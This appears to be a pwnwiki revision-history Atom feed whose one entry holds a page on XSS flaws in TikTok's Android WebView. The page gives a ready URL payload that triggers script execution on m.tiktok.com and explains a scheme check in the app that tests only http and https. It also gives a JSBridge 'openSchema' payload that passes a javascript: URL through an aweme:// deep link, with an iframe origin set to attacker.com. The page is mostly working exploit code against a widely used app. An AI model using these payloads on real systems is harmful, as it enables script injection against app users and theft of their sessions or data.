<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_XSS%E6%BC%8F%E6%B4%9E%2Fen</id>
	<title>安卓版TikTok XSS漏洞/en - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_XSS%E6%BC%8F%E6%B4%9E%2Fen"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_XSS%E6%BC%8F%E6%B4%9E/en&amp;action=history"/>
	<updated>2026-04-05T10:50:37Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_XSS%E6%BC%8F%E6%B4%9E/en&amp;diff=4581&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==Generic XSS on TikTok WebView==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_XSS%E6%BC%8F%E6%B4%9E/en&amp;diff=4581&amp;oldid=prev"/>
		<updated>2021-06-10T02:52:58Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==Generic XSS on TikTok WebView==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages   /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Generic XSS on TikTok WebView==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
https://m.tiktok.com/falcon/#'),alert(1));//&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The following execution will be triggered:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Add Wiki Activity的另一個XSS==&lt;br /&gt;
Add Wiki Activity implements URL verification to ensure that URLs in the blacklist will not be opened in it. But the verification is only carried out in the http or https scheme. Because they believe that other programs are invalid and do not need to be verified.&lt;br /&gt;
&lt;br /&gt;
if(!e.b(arg8)) {&lt;br /&gt;
    com.bytedance.t.c.e.b.a(&amp;quot;AbsSecStrategy&amp;quot;, &amp;quot;needBuildSecLink : url is invalid.&amp;quot;);&lt;br /&gt;
    return false;&lt;br /&gt;
}public static boolean b(String arg1) {&lt;br /&gt;
    return !TextUtils.isEmpty(arg1) &amp;amp;&amp;amp; ((arg1.startsWith(&amp;quot;http&amp;quot;)) || (arg1.startsWith(&amp;quot;https&amp;quot;))) &amp;amp;&amp;amp; !e.a(arg1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Even if the verification is not based on the javascript solution, this solution can also be used to perform XSS attacks on the WebView.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({&lt;br /&gt;
&amp;quot;__callback_id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
&amp;quot;func&amp;quot;: &amp;quot;openSchema&amp;quot;,&lt;br /&gt;
&amp;quot;__msg_type&amp;quot;: &amp;quot;callback&amp;quot;,&lt;br /&gt;
&amp;quot;params&amp;quot;: {&lt;br /&gt;
&amp;quot;schema&amp;quot;: &amp;quot;aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&amp;amp;disable_app_link=false&amp;quot;&lt;br /&gt;
},&lt;br /&gt;
&amp;quot;JSSDK&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
&amp;quot;namespace&amp;quot;: &amp;quot;host&amp;quot;,&lt;br /&gt;
&amp;quot;__iframe_url&amp;quot;: &amp;quot;http://iframe.attacker.com/&amp;quot;&lt;br /&gt;
}));&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>